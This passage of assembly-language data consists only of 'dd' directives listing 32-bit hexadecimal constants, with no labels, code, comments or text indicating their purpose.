0DE063655h, 878E25A3h, 54209E6Fh, 5B46A9BBh, 10B8AABBh dd 23FA76A3h, 52C83452h, 1D9F7FE8h, 58C70CD5h, 0C0777833h dd 0A2C9C28Ah, 0E04DD59Bh, 0DD45347h, 0AF6D2335h, 66F9D47Eh dd 0FCE5DB82h, 62640DEDh, 0FC50EBE5h, 6CFE6D4Dh, 8D5BBD2Ch dd 0E600727Bh, 0B773FC8Ch, 9A507A7Ah, 693D98D3h, 0FD4C98CAh dd 3EEF7268h, 1659AF11h, 7E2B5A4Ah, 6800BABBh, 0B7A020AFh dd 0C95BD480h, 0FB99BFC6h, 86D84A80h, 9E09FCDCh, 3BA6AE3Dh dd 0F5350D24h, 51B59C1Ch, 0B7EB679Dh, 7990BD55h, 0CC10A763h dd 4BD7CC57h, 0E784F88Fh, 2E47DAD2h, 0A5E0128Fh, 5F3E2651h dd 6C11A9Dh, 0D5E1EE38h, 0D5F61657h, 4A06A62Fh, 6F9BB8E7h dd 254C19E2h, 0E3B22511h dd 94A35A73h, 82D278C6h, 0C312FE10h, 49155D81h, 1E8BDACEh dd 23E8D576h, 9D8A9875h, 5E81BC10h, 0B2ABCC2Eh, 0EA4DE6A7h dd 40B4E498h, 1D636C14h, 54CBA6A3h, 0F9A9E59Dh, 0A5D74BFh dd 28B8A2C8h, 472AF26h, 8A8EE888h, 8E598448h, 8BEF11E2h dd 0A360A098h, 4DB6623Ah, 0A057728Eh, 9B251C1Bh, 0A7206BC3h dd 0E9C53A4Fh, 3542BB7Eh, 11003510h, 76823EF4h, 0ABCDFE04h dd 0C7E35859h, 5270E11Ah, 0BE84856Ch, 44B5B5D0h, 9483070Ah dd 2786C334h, 857489Ch, 6BD096EBh, 1356380Ch, 0CBBB1904h dd 860E3DE3h, 3BE394C1h, 2F7B6643h, 0C430ADB7h, 0CD35D888h dd 0AA6426A3h, 37D099B1h, 0EFE98139h, 0AEB4A20Bh, 0D46B8A75h dd 659F0C86h, 0EDAF45CAh, 33D9844Dh, 1746630Eh, 9807C271h dd 0A91B5B51h, 910A02BAh, 0D1CD41CBh, 0CDA9E2BBh, 9A8FDDB3h dd 2D27C60Fh, 1B745976h, 5F6E01B5h, 710033B2h, 3207EC98h dd 0FD4026Dh, 0FC9C03E5h, 0E7137524h, 306DD8E2h, 0A26D7E9Bh dd 7E6CC276h, 3B4A585h, 2D59A05Eh, 0EFB2B785h, 0B30AFE27h dd 0F10D2677h, 713DE675h, 7C6603Ch, 70E8893Bh, 0FC711E76h dd 9A9ED609h, 0AA00866Fh, 53E3A353h, 0DF956E9Bh, 156D4BA4h dd 8518D257h, 0C90E64F6h, 1A41D3FEh, 0DA1334BFh, 30BED09Dh dd 8B91C5D6h, 89D3C437h, 6D28B177h, 0E3ED2159h, 78C9D22Fh dd 0DBB79DB5h, 0F788FCA4h, 7BE78D66h, 916C20CAh, 50163E4Ah dd 8E034DF7h, 4B4B6999h, 0D2909063h, 22364DA2h, 0A446D620h dd 8FC053CFh, 8329BB7Fh, 0A8C74F42h, 0B924D842h, 27099394h dd 0C7541C50h, 2509C288h, 0EAC20BB0h, 7E3E2850h, 0B24EF656h dd 0FC47A5D2h, 0BDA4B0E9h, 8717C8C4h, 0FA4EE62Dh, 5587EE29h dd 53050D6h, 0C9B1FB48h, 16DABE1Dh, 38B4A2C3h, 0A81F3790h dd 44CA2317h, 78E6C2A9h, 93EC4D59h, 62FB7BBDh, 0ECC327EFh dd 1EED89BDh, 0C2EF92F1h, 0A1C4055Eh, 0E40A696Ah, 202E003Dh dd 0AC4FD78Ah, 0CF319DB7h, 0E1DE6986h, 0DB1213DEh, 0A265F8B6h dd 0C5A94735h, 0C2F14546h, 0C5D5FD7Fh, 0AD57555Dh, 71FEB50Fh dd 15682B3Dh, 3B032505h, 146856F2h, 0E3FA604h, 5F60491Ah dd 0AB5CE1AEh, 0C0FD6E73h, 75DEC26Fh, 0FF46D2FAh, 0C2DDFBE3h dd 0CEB1EB41h, 0B35EB996h, 0D6328FA2h, 0A3C9C52Eh, 0ABA1F9CEh dd 0ACE3D1B7h, 0E3938CCEh, 2053F2AAh, 0E2AB83BDh, 2886C2CDh dd 0BCD61C77h, 0A17BE01Ah, 0D386B78h, 0E56ACFC3h, 0E0B4434Ah dd 8652EEAAh, 2F523228h, 2C5FCCF3h, 51FEE252h, 0F8DB08B9h dd 96E4A65h, 9E69D24Dh, 3AB31A89h, 4D6AE303h, 8F0211E8h dd 4609E33Fh, 64097EB4h, 0F6246CD3h, 0D2F33D0Dh, 0A1C3691Fh dd 0E34AA5E2h, 16F2D49Ch, 37DD095Ch, 631AD85Fh, 0C8EA975Fh dd 6FC549BFh, 5515616h, 0D14FE1C7h, 0A70E094Fh, 9CC91F4h dd 0EA2E767Ch, 0E0607892h, 23AA0299h, 0E7A473Ch, 0A47B498Eh dd 254FC771h, 0E371903Dh, 66ABF7ABh, 1FA3CE4Dh, 0D5FA9FF6h dd 80755BB3h, 6ECB8AE4h, 0BD37280Eh, 0CB95139Fh, 0EC223D24h dd 617E3D0Bh, 0B9B064Dh, 64A23528h, 3D6CA6EAh, 3564246h dd 929F40F9h, 0CC5CE236h, 0E667E221h, 0EF60A54Bh, 419E1293h dd 6B2E788Bh, 39C675D7h, 7F92758Dh, 72683DF0h, 0C2763F94h dd 0ACE6AC0Fh, 88F008F3h, 8AD5C4C7h, 60DA9CCCh, 8D3D5256h dd 22F0DC95h, 0E135A255h, 5FFA80A5h, 70830A19h, 0CA168586h dd 0A35FA1F2h, 0B6120059h, 0F0F99878h, 35E65585h, 41098D29h dd 7D009F25h, 0DB26033Ch, 624991FFh, 0F9E97AECh, 2897DD4h dd 20B8E335h, 0CE7C0C92h, 0C277FD36h, 6421DDDEh, 0C5102834h dd 0EEC833F7h, 0BA63E9D1h, 77ED5CCDh, 0B706B52Bh, 587C0D89h dd 263F0221h, 8895BF78h, 0D501A731h, 24EA6B70h, 0D8DE0317h dd 0AA8F18EBh, 0B620BC9Fh, 5BB5338h, 0F16F5143h, 0D16908EFh dd 9FEE7936h, 2FC3755h, 0E37C41C1h, 110E6A7h, 0F03798FEh dd 5F91862Eh, 176CF101h, 0A51EC44Eh, 42B479A3h, 6A4FD496h dd 1577681Bh, 25856FBh, 21441770h, 457AAC26h, 0F850BCD9h dd 1B3B3756h, 0B50E2A58h, 7918AA62h, 67E97AEFh, 2CBC4D23h dd 0AE4F5507h, 8262D2DBh, 0FF64CF8Ah, 82E3E106h, 0B3036105h dd 0D162ACE5h, 0DFD425FEh, 4CDBD0C9h, 0AC5F963Ch, 7D4783B3h dd 8AE4932Ah, 0BB711D77h, 0AF4B6CE9h, 9647225Ah, 7AC38048h dd 99ACB79Ah, 0FEFF89D3h, 40FDC1F5h, 8AF4C83Eh, 0BB45A33Ah dd 64CD3121h, 26DD83BEh, 0B521B4ADh, 0DC8CB60Ch, 9AE908CFh dd 2D89E6A7h, 0C929DB8h, 370A8048h, 15FE1790h, 821916DAh dd 8ED65BB6h, 0EC16214Dh, 2CF4E5FAh, 4ECB16B0h, 4C02DEBFh dd 77F02FD9h, 0D2DF6195h, 0C1E06358h, 0B3E129C9h, 6A71DE2Eh dd 471E123Dh, 8C275FE5h, 5838BC42h, 20A1912Fh, 1278384Ch dd 0F9596701h, 0FD193B99h, 0F486D478h, 0A66317F6h, 79383D59h dd 0B0C30A4Ch, 19B62BCFh, 9189C05Ah, 0DC24D6D5h, 0AFF845E6h dd 4D810EC7h, 4697E3B6h, 43DFCB30h, 1570B816h, 0B8F8DEF7h dd 23437D70h, 6833E72Dh, 539EDBC2h, 4B27DDD2h, 0DA6A294Bh dd 0BDAD7E31h, 8B4ACF5Dh, 0EE35FA03h, 0BB5F6122h, 23EAA3E1h dd 784C645Ch, 515A1CD6h, 9DF9D0AFh, 42B4D405h, 271A64D5h dd 8C96EE88h, 0C9C90CDDh, 647C662Dh, 80AA2663h, 48AF072Ah dd 0C1D469h, 7EC5A6D4h, 0C668E820h, 1994F3D2h, 0E13095BDh dd 9BEE2176h, 0C5CF2A3Ah, 140DB730h, 0B44C9DAAh, 866EDC91h dd 47DBADC5h, 6C75CBABh, 50252501h, 0C9959F0h, 9678E960h dd 0FEE7B670h, 90040851h, 5E83B9E7h, 3927F043h, 0F61B1F3h dd 4C332B5Eh, 411C984Fh, 33C2C8FBh, 15674360h, 0CA4D4FE0h dd 1EA7CC53h, 4321FD62h, 65381052h, 5337D7EAh, 0CE6BA0D2h dd 0FD019BC8h, 0DCFF5CE8h, 0C9BCB510h, 0B25AEB65h, 8025AC59h dd 964508DFh, 83FEF490h, 79BFF197h, 114EA101h, 0A74D018h dd 0ADD44C10h, 0D94036F3h, 0B1F1BB46h, 0E72BB8CAh, 75E5B8F0h dd 0A5211626h, 5E6C5A6Fh, 0C37E6BC1h, 0E8F49D09h, 94EA9D9Eh dd 970325B1h, 5246457Ch, 0F8C9B515h, 0D9AA21F0h, 717172F7h dd 18A4B07h, 0A8F916D9h, 0FC484735h, 0F9D35F03h, 0C1B4CD0Ch dd 0CA5624B7h, 0CBC3D878h, 7AB1AE51h, 9F9F38B6h, 0EC36C9F1h dd 589232D3h, 2982D66Ch, 0C0A29D63h, 4024506h, 1C2845F1h dd 497617C0h, 3B77B565h, 52C50245h, 55622993h, 31FC096Ch dd 0FB66438Ah, 98D9775h, 8ADCF161h, 0E56E75C9h, 0DBB21AE1h dd 9D06BBC7h, 0A22DC3C2h, 0DC47363Bh, 8D2A009Bh, 2D2DD5DFh dd 90370194h, 7C7898ABh, 0C7936B8Bh, 5060B046h, 0DD4E9CA8h dd 0C90C5E6h, 2E627685h, 2CC16997h, 3B8DCD33h, 0F9514579h dd 41E2473Eh, 1F4BCCCDh, 8D668A1Ch, 0F0A91E57h, 0F3C55529h dd 0F8BFD745h, 4E28201Ch, 5CCC1EEDh, 3A2BC85Eh, 15A7DE9h dd 0C510FFFDh, 0A0AD3BE0h, 0F541BDB9h, 6898E07Eh, 4A44C324h dd 9E3E9E28h, 7CB11E81h, 0A0C56335h, 3570F30h, 1E031F2Bh dd 0AB2FFABBh, 5D7EA8ABh, 892F92E7h, 0E266759Ah, 63534EAEh dd 208F43C8h, 4FC670D3h, 2BA2C305h, 0D1051188h, 9E9DD86Bh dd 0B60B3EE9h, 0B37A58EBh, 1A84D5A8h, 30C7B8EEh, 1D309C9Dh dd 3851059Fh, 41D21570h, 9CC56D17h, 0A004ED6Bh, 3BD299B4h dd 0BC541616h, 6F4110B8h, 14D7B80Ah, 8E476C7Fh, 0E548778Fh dd 0CF3790ACh, 9FF4EE22h, 42930694h, 0ED3BAD7Eh, 7613D619h dd 904BFBB8h, 36231FAh dd 6D94E7h, 0C9F5DAF1h, 39473ECCh, 85D23B46h, 0CF3083C7h dd 3D9FE52Bh, 0DCE180D6h, 0E92DAD4Eh, 43F8B503h, 0FC2ED392h dd 0BA7C4F20h, 0C92FEC96h, 8C7DB0B4h, 3F8CDC4Eh, 3CA82EB4h dd 0BB9D1F8Ah, 0A7970DABh, 0CA335D19h, 0E5CC4570h, 0F4342206h dd 0FF93D817h, 0FE6C5C5Fh, 0C2FCA0BAh, 0E9037C2Ch, 6F4364C5h dd 4BFC62B6h, 90EF0C49h, 93D6E2C9h, 42F8FE90h, 0B4954102h dd 22A53EC3h, 0EA989428h, 5140BCC3h, 0C60EAD8h, 0B549CA0Dh dd 33C0FB4Ah, 0C57B0D48h, 0D05D4963h, 1437FFC5h, 0C7D6BBE6h dd 80A67947h, 6E3272BEh, 93190306h, 0B0B3CA91h, 0E4F228DEh dd 79B24D46h, 0AEE1E518h, 50DC2D6Eh, 4893D0FBh, 803F80DDh dd 62CD669Dh, 2E56ED9Dh, 621DDD29h, 214F8C30h, 61DFD912h dd 0F84262AAh, 829F53D2h, 59E78963h, 0F53A0799h, 3CF23417h dd 0E5A5FD3Ch, 12341420h, 9731655Ah, 29BB033Ch, 248ED147h dd 19F2E86h, 80BF256Ah, 8CE3FB7Eh, 1720952Dh, 487E3B5Eh dd 25B96354h, 0D2507784h, 0ECB26D27h, 49F1416Eh, 268C6C58h dd 0BB76533Bh, 5AA550CCh, 5542A89Bh, 0C45212C1h, 0A3D087D6h dd 79A768D9h, 0C966F5E3h, 0A4F596E1h, 0C81B2272h, 1AA094CBh dd 987D5765h, 3453A9A2h, 0A67843C5h, 94DE1BD0h, 0E24FBCF7h dd 0A16F52B1h, 52CE6F40h, 0DA58C5F7h, 348F0A48h, 875D0655h dd 0CB15FE5Ah, 3574796Dh, 21BDEA04h, 33D40FFFh, 354743C5h dd 68CD06ADh, 0D8965B9Ch, 0BE7AD4FBh, 0BEA1926Bh, 0AB6B5D5Ch dd 0FAEA8F47h, 0CEDEA958h, 196C6879h, 243E4DF6h, 0A669A0CDh dd 4DECB129h, 79FE2419h, 7AEC3E10h, 8E53BF0Ah, 99488C03h dd 61090EF5h, 0FFA89B3Eh, 427604B6h, 7FF096AAh, 296DE62Ah dd 0E58C5881h, 3CF5AE10h, 0CA805FEBh, 4AF98BD5h, 95109D4Bh dd 9F678401h, 27F8CC5Fh, 0A41E74C4h, 4A06D1B5h, 0FF36FA5Ah dd 0D843B925h, 433A19ECh, 85714CE5h, 5FCE112Bh, 7A6D672Dh dd 84AAB5B9h, 0DCAFB10Dh, 0D84FFBDDh, 82DCCF82h, 21A4A029h dd 36FBDEACh, 36A18594h, 0A70E539Eh, 0CB1FCDE0h, 1A66BB2Bh dd 0D8D42E8Ah, 0A260F2CCh, 0CC603111h, 0C41B62D4h, 9C2218D6h dd 9F5AEFFAh, 79CB7D64h, 1692FA7Ah, 0A9BE249Ch, 819E798Bh dd 380437C7h, 3CBB5E04h, 451C9AE4h, 2B50897Eh, 857B7799h dd 30E707F5h, 4DE14E25h, 6261D632h, 1D2072EFh, 71357A38h dd 0D48A5946h, 0E276C804h, 0F685E367h, 66C86EF3h, 520911B8h dd 1A781F6h, 0F9AE220Bh, 66D1658Fh, 24594383h, 968E6E8Ch dd 2EAEF741h, 0C5545E31h, 9BC15898h, 89CDBD49h, 9434A710h dd 9D5AFBCCh, 0DDBE607Ch, 9E39FBA7h, 387AD02Bh, 193FC78Bh dd 0AA4F7F63h, 0A5737B63h, 0C70221A3h, 3E15B2h, 0ED23191Dh dd 9FA2E0E6h, 0BFDB8CA8h, 23C8F173h, 0B2F73B77h, 0D381595Bh dd 21E2701Ah, 23EC03FEh, 0FC16D2CAh, 68166656h, 16AD7B0Bh dd 12CFE204h, 0B2027AEh, 7C87F4B1h, 462CB4FEh, 0D779AF96h dd 6AB92F68h, 8E4B022Dh, 0ECE7E1BEh, 0C15FE2FCh, 75338F16h dd 0D9CEC618h, 99B38C05h, 0A0A5D6C1h, 0DC3F36CBh, 0B0BDCB67h dd 94AD4F98h, 7FF44291h, 204C64D5h, 2FB80E48h, 4988A2B3h dd 6695C8E7h, 0AA48266Fh, 715321BBh, 0F8D52277h, 94499E4Eh dd 0CDC93F9Ah, 93CD0976h, 679D9E84h, 71F521EBh, 9DE02B7Bh dd 7B5595Bh, 0E93AE094h, 61B6A169h, 0E6332868h, 2A75D65Ah dd 87B84143h, 0F1ACC536h, 0AA6722F6h, 56C6752Fh, 55910978h dd 4FD0CCC0h, 12212728h, 0A0DCA9Eh, 0E76774h, 494B6926h dd 266FAB1Fh, 4B8CB95Eh, 44F6DAD1h, 0DA04D233h, 47B52189h dd 0E42F0F01h, 0F9151C7h, 0E0D0FA94h, 236C13EBh, 0FC5A65D2h dd 0CB3D2905h, 0D6E9F234h, 416F42B5h, 5758C6E1h, 9CB41BA1h dd 51B80BECh, 0BCF8A8F9h, 69534D9Ch, 0A043EFE1h, 14335BD5h dd 7444F302h, 0B565E9E3h, 2B28480Bh, 0F4FE90C7h, 0C1D4D1E3h dd 8E22A78Ch, 8B947610h, 91784978h, 889F04Bh, 70ACABD2h dd 78D2D4C9h, 2DF9115h, 31B4A110h, 3AC331DCh, 30832928h dd 363FFDAh, 0DB31774Dh, 714940EEh, 0F2F8261Fh, 9042FA0Dh dd 85A5AEE9h, 5BB2C9BEh, 35339FF8h, 0DAEA69F1h, 0BB26801Ah dd 4728E02Eh, 5942021Ch, 14F47605h, 0B91DC88Ch, 2829CEB2h dd 0E68EA33h, 0A8062564h, 14082B92h, 1FF2F5BFh, 0E72BEB8Eh dd 0BD7B60ADh, 0A063E1CAh, 272535B2h, 27C7AE95h, 6488C5FAh dd 356F6CCAh, 0A07F5073h, 604EA71Dh, 43AD0506h, 0C412C407h dd 528D633Ah, 7C464FAFh, 4EA34EADh, 74457E17h, 612F5C11h dd 0BF930324h, 18A9FD8Bh, 59380613h, 26B3BD69h, 45213B14h dd 0CB663FC7h, 0E64CA699h, 8517BFE7h, 4393A1Ah, 0CDD01A71h dd 0C115C7C7h, 14C86E72h, 5E47AF14h, 6949EDE0h, 6364C871h dd 0BBF2945Bh, 0A682015Ch, 0F6173658h, 2631FC80h, 0A5FCA135h dd 0DF850B75h, 676FC564h, 0D96DA3E8h, 0CFC969B9h, 0D1F68F98h dd 663DC935h, 0D597BDF0h, 73DB59DFh, 604C3FA1h, 5D49B4ABh dd 0A3C5BD3h, 0B8830C78h, 0F8BEA35Eh, 0CFC2C812h, 2568182Ch dd 74CF486Ah, 0DED2ABFFh, 3268860Ch, 4E775A76h, 79C1965h dd 0AF79283Bh, 1D593287h, 19D71146h, 0A4F07BD2h, 6B1A668Ah dd 13B70DAAh, 0E678BD01h, 85CFCD95h, 69E345Ch, 5BAA844Fh dd 1BA8AAA5h, 88D111ACh, 0CF8ADF83h, 76B569ECh, 0AD602958h dd 51A5F2Dh, 856C962Ah, 0CC3E5F86h, 0E9ABAC61h, 5D6518E1h dd 3319C022h, 410CE35Bh, 2E282E94h, 6E20C913h, 3AE3ADE2h dd 9431C622h, 6F6285F9h, 0A00B2A7Fh, 8CB40B94h, 0AFB6539Ch dd 99401A56h, 7795315Ch, 0D3F8E782h, 707D04ECh, 0AD6F6043h dd 0B883EFBFh, 976D62C9h, 0DDA1E965h, 0AB16D45Fh, 8A645C66h dd 8C82ABAFh, 50460AF5h, 0AD2BD2B9h, 33D95AF2h, 38A71259h dd 6608FFCCh, 0ADDBC850h, 4C962F77h, 0D5BE1202h, 331851A0h dd 3D11B801h, 2DD895BEh, 320DA108h, 3DC10B7Fh, 1BCF98A9h dd 0E166C3BBh, 0BEB234E0h, 0C120756Fh, 902293D2h, 254039AAh dd 178E48BDh, 67569DA2h, 0DD23C986h, 9E8B9F2Fh, 84888E15h dd 0BED26E80h, 0E2840855h, 505DBA5Bh, 0C8D29D1Bh, 9503B749h dd 0E1DEA929h, 0E038D2Ah, 76EB8CFEh, 11954676h, 0BF3C4F2h dd 0ED303C15h, 3BEFE5E4h, 16D40BF6h, 4969A2CCh, 0ACE62719h dd 0F507DA24h, 0E389F08Dh, 6AFA0798h, 1A6D2D81h, 0D23CE019h dd 2EE5BC95h, 10E87DA5h, 0F834D717h, 0F6242145h, 0BB8424C1h dd 0A8B2AF69h, 313FC157h, 0ADAC87C7h, 0C18F08C3h, 8C20350h dd 0DFAC74F3h, 6F8BB244h, 0C911CFEh, 4C34195Bh, 0CA9E6E1Fh dd 0D41ACC84h, 0D45935Fh, 3E3C4AA3h, 77D43C36h, 0C230207Ch dd 4ACA242Ch, 8609CF72h, 585E624h, 8BD6F09Eh, 0E2F60F95h dd 556AB2CFh, 93A72B3Ch, 0A8CECF0Bh, 0F27FACF8h, 46BC9C24h dd 716B371Eh, 86178DA5h, 8322EFADh, 0D7DD0895h, 61BE5CA7h dd 3D979DD6h, 0F9E40246h, 6C17B45Ah, 0BBA95C04h, 16EC1ADBh dd 0C331B080h, 9F7ACB0Dh, 876C6259h, 2E5258C6h, 0B4929A8Ah dd 0E47175EBh, 960F94A2h, 70175C0h, 0F0EA7C49h, 9423251Fh dd 0E41807F6h, 9199518Ah, 0C6E9B68Eh, 0D9B7EDF6h, 7CBD6F22h dd 0DE503E07h, 9857AF02h, 0F1CCD27Fh, 5645E257h, 74819037h dd 139D5F84h, 23BF898Ah, 5DD3931Eh, 6A578E81h, 5D174261h dd 32941653h, 4B2744A9h, 0CC530DE6h, 4AFEC109h, 8DCEFF76h dd 2076060Dh, 982AC649h dd 68EEC6D4h, 94C34285h, 0BEA4D420h, 0FC56F2EAh, 0DB2FD568h dd 0A5C4DB93h, 82B56111h, 0D9267397h, 2BD1B9D9h, 0F2DFFD34h dd 58C7E528h, 0F8D43CA0h, 78C34C07h, 9F68463Dh, 0DCE9B8B1h dd 721F744Dh, 26DC7018h, 37D4F2D2h, 7D3A3E4h, 0B52EE615h dd 53134A7Bh, 5D959BDEh, 941F7D19h, 78BE757h, 7A3817BBh dd 0EA8C5BD8h, 0FE9C3E9Eh, 150EE753h, 0DDE0BD2Ch, 54D7A2DEh dd 84FBE02Ch, 98ACFF73h, 3AD7B702h, 0E8C3F5C3h, 0DA2D6783h dd 2535918h, 3AA57B14h, 31EDFD43h, 76EF5EA9h, 1C1BB6B8h dd 0B4761549h, 0FAE42FD9h, 122D97E5h, 58B12E4Bh, 0A78461AEh dd 81DF753Dh, 0D5A58BFAh, 0BD2A8BEh, 8F2D7B31h, 0D1B5E800h dd 649AA34Eh, 3A38D485h, 0E77FF570h, 3B8A310Eh, 56DB597Ch dd 0C6B4FA04h, 0BB66EFF6h, 3A9E703Ch, 0E6BC1F1Bh, 6C3D7AB1h dd 47F3A874h, 85983A96h, 61F7F9A4h, 0DD1BC17Ah, 0AE3D4F15h dd 0CFDCCBFEh, 19DEBAE9h, 3F833485h, 5BCD653Ah, 0F14DE63Fh dd 7EB4E340h, 1DBF34AFh, 60243297h, 0B2CB5FACh, 82647442h dd 0A1F7D7A9h, 0B137DCEAh, 0B4B19F9Fh, 0DA6EF70Eh, 0FA6671F2h dd 3F2BE3A5h, 0BCE0B928h, 0EF3109A1h, 8DAA0329h, 0C355B3D3h dd 6C28AB15h, 0D8B72E58h, 7BA4917Bh, 0F4286Dh, 70651479h dd 0E558C38Ah, 596959Dh, 5ADD0964h, 1E9D9955h, 0DBF5F8E0h dd 25F85204h, 8CB0AFF6h, 0E800DD7Ch, 0D553F1C7h, 4079B90Dh dd 9AD825F0h, 580836BFh, 0C3CE4643h, 113DADC3h, 66C5D693h dd 782EA131h, 0B6A840Bh, 564403D7h, 35B8CBF7h, 0AE1C8D2Bh dd 4C91A76h, 5785A79Dh, 31D15741h, 1000BCCFh, 0C228B866h dd 21011CD3h, 0E3D586A4h, 4696DB51h, 3400FB51h, 8DBB9C7Ah dd 6FC6F7F3h, 0F2F84156h, 52D3017Dh, 0FF138F3Bh, 4ED1CDAAh dd 0CBBEC765h, 2C933D41h, 36A9B259h, 0ABF117B7h, 3BF360B9h dd 1D40AFC8h, 5A9B44FFh, 921790FBh, 0A38083A8h, 5DAF14EFh dd 6EAE283Bh, 0F96BEAA1h, 0A60FF12Fh, 0F4CA4C4Bh, 23F05B30h dd 0B9268B8Ah, 39B8403Fh, 0C1D9FAE6h, 3FD975Fh, 252FC9F8h dd 98CF3FD1h, 0E06906D6h, 0A5F1C322h, 390249D4h, 2A2EE7C3h dd 28054C00h, 306686E1h, 0B987333Fh, 9AA5D4D9h, 4D21203Bh dd 493E9B1Fh, 1DA348E5h, 0DF0BC924h, 3A7D0E2Ch, 0AC2985EDh dd 5452A666h, 0E924239Ch, 0C5A67E69h, 17C81050h, 0AEDB8604h dd 5F41300Ch, 18E8B38Fh, 5FA68650h, 3489B7CDh, 116DBBF3h dd 0A473EFCDh, 0BA13A78Ah, 69A4BBEFh, 8F498D64h, 13CD122h dd 6B93F986h, 0F4503EA6h, 0B74F74D0h, 0F75C0DE4h, 15DFBB6Ah dd 7CB47816h, 0BCE2DB47h, 7F87420Ch, 3B3A918Fh, 0A1442A0Dh dd 9C3EC672h, 4EE2D201h, 95EF6F5Ch, 91C26F98h, 0C4E453B0h dd 0DE4FD0EFh, 0AAEC2C5Ch, 928C55CDh, 8A5C02FFh, 83B696BFh dd 24761B6h, 129A60CBh, 2BABD5FEh, 0F0E1A54Eh, 0CEFF6350h dd 396DDF29h, 17887446h, 0A0EC59D8h, 198315Bh, 58B203EDh dd 10C95AD4h, 0BB061A40h, 9AE1DB69h, 0FAA5E592h, 98D54901h dd 996FF60Eh, 0A6947C5h, 207D6D7Fh, 50739AAh, 0AAD850FFh dd 0ADCABA48h, 326EB585h, 0EDABD9E2h, 3B11D2Fh, 0C661D1EBh dd 0AED9A730h, 994217C9h, 0B810BE24h, 0FECE2C75h, 99DD8945h dd 716484ADh, 3DA083A5h, 337BF371h, 4EFA1875h, 0E09204BDh dd 0E32A994Bh, 3815655Eh, 596023F5h, 97F46AB2h, 801AEAA8h dd 993D8096h, 0F123CE66h, 82391E7Bh, 0A310E2EFh, 280348E2h dd 0A2E31E31h, 53161D5Bh, 0FFDDA974h, 63C10B2Dh, 0A71B0201h dd 0CA43918Ah, 0E147C035h, 132DB31Ah, 0C02630Eh, 1AC53661h dd 0DA4231E7h, 7C35103Ch, 0D16740B5h, 0D3D9DE8Dh, 443B851Ah dd 56EC72D0h, 4257DF27h, 7ABA77EDh, 463FAA61h, 93A68288h dd 5229BE11h, 75A1F0E7h, 4D21F53Fh, 3B8D49A7h, 66248A01h dd 0FF0E25E6h, 9698027Fh, 6504EB1Bh, 1EDC41DCh, 0DD66EA9Ch dd 12B357E3h, 0BF8AA396h, 0E427D0CEh, 0A317945Ah, 80D5E0FBh dd 0C4B54396h, 52594E48h, 0A4857EFFh, 0C61EA1F4h, 0DA28CE65h dd 0EF80779Bh, 0E0BAE23Eh, 93FA6E32h, 18A785CEh, 2B677D4Bh dd 44974286h, 0EE168328h, 59984D90h, 0E91536D1h, 0BF9F611Ch dd 6CBC8526h, 15F1EA6Eh, 11BA4B45h, 60341CBDh, 0F154192Bh dd 5B5F6309h, 84153259h, 168AD8EAh, 0B07E0070h, 0E7C72F41h dd 850BE971h, 0A190FBF2h, 0A1FE38E4h, 879F186Ch, 22A4FA7Ch dd 6B53A155h, 6186D51h, 0EEA1715Ch, 5D4C42h, 0D3447BC8h dd 0F23DD4DDh, 6783EC5Ah, 113760C0h, 0B07F5305h, 811D84A3h dd 0DB524B0Bh, 0C837CD36h, 0D43FC5C9h, 1ED2B7FDh, 882F36A4h dd 603C3894h, 0DDC40527h, 4E70129Bh, 1B20DF30h, 0DB2EA3D0h dd 6D10227h, 4EE21EEh, 838ECECEh, 0BB39F0F2h, 0D1EA3357h dd 16FD6E51h, 9F8D6C7h, 0A2FD8D08h, 0DABDA94Bh, 0DC6E95E0h dd 0B85B46D1h, 76F94FD8h, 18E45378h, 6BCA0785h, 8A650097h dd 603FEE3Dh, 7DF99A11h, 3C21A006h, 49315E22h, 94614EACh dd 9BE99E1Eh, 8BD57960h, 0C4645A2Dh, 27A8C4C9h, 3352514h dd 536E24C7h, 0F3897EA0h, 554BA0CAh, 0E1D8F288h, 8BC95A0Fh dd 329EF1EBh, 8CBEABFAh, 14FDC919h, 90972AAEh, 5B014B7h dd 0E8182E4Ah, 513A1E29h, 6ABFF74Dh, 45A089D7h, 136A932Bh dd 52AEF86Dh, 55A2977h, 0BF6E0077h, 7A1E733h, 6BE518A9h dd 0E02292AFh, 67417AF8h, 3519A368h, 0D34BD736h, 4CC3D128h dd 5AE064C4h, 493935ADh, 0DC251878h, 0C0ED5D11h, 36414529h dd 0AD354D21h, 0B320AD35h, 65310F1Dh, 926C5149h, 9E9122DEh dd 9E6C9EA0h, 873EA06Fh, 0F070631Ch, 46257DDBh, 1FE8686Eh dd 2A36B842h, 4D748655h, 11A3B7E3h, 0F5673E73h, 93DEF158h dd 9A911256h, 31D0E7F3h, 134CD4BEh, 3DED8CF0h, 0D6A157h dd 0A35A8772h, 91C40909h, 236E0545h, 14192A54h, 6E797264h dd 840A6E1Dh, 3A003074h, 73936990h, 35FFF45h, 568070C1h dd 8D9D7C1Ah, 21BBBD64h, 12B4B6C3h, 4B696A5Ah, 7A97F4D4h dd 0A992AD05h, 0B1A0869Ah, 0EA4C1BE1h, 52C4F69Ch, 89A180A0h dd 0FDFA220Ah, 0B784E434h, 0FE843953h, 0AAB2BFB8h, 2E53DE23h dd 3FF5BD46h, 9A3967E9h, 1F49ACD5h, 0F809E2A2h, 4E12F098h dd 7991F9D4h, 6A50D70Bh, 0C2F9F2B2h, 4F3D0107h, 0E9C17F3h dd 0C925E408h, 3ED04626h, 4C62C0BDh, 594E3C50h, 114D714Dh dd 0D23578DDh, 7725B379h, 0DBD1DB48h, 0A9DCD6E4h, 0E798A8A4h dd 141840FEh, 0B7083FCDh, 3BBB3BC9h, 38E17AABh, 0C51ACABEh dd 9748E40Eh, 31E0B6D8h, 62DF5992h, 0F607FD19h, 0FE8B0268h dd 0BC9BA235h, 8D484386h, 0C48613D4h, 9F0492C2h, 8787D8B4h dd 37A87CA5h, 5774C5E1h, 0B1672BEEh, 492578A1h, 455A4899h dd 1917742Eh, 0E2511435h, 0E071FEC9h, 2E531781h, 77FD909Dh dd 0DF5043B5h, 2599D2EEh, 3A5A7EA2h, 0A83D854Ah, 16ED5A49h dd 0C255AD2h, 0D968082Eh, 4312B24Fh, 0A57184C7h, 10FCC699h dd 0ED2FAEBDh, 9BD8E0D0h, 58597BB9h, 1C7E739Fh, 1DD6A02Fh dd 11EC9261h, 5557A558h, 80B2E43Ah, 0EEBE639Dh, 9FE16046h dd 15E358E8h, 5DCA9672h, 0B2CFFDC2h, 4067FA9Ah, 1DFBCB80h dd 0FC000FC4h, 4522498Ah, 75E6FBC9h, 546E3440h, 89763AA1h dd 9AFD5C3Bh, 0B5F46DECh, 9EE02CBAh, 0F600B8C9h, 92595C48h dd 0F31E85E7h, 0B686225Eh, 6C27A5D7h, 26885054h, 0D27B3BDBh 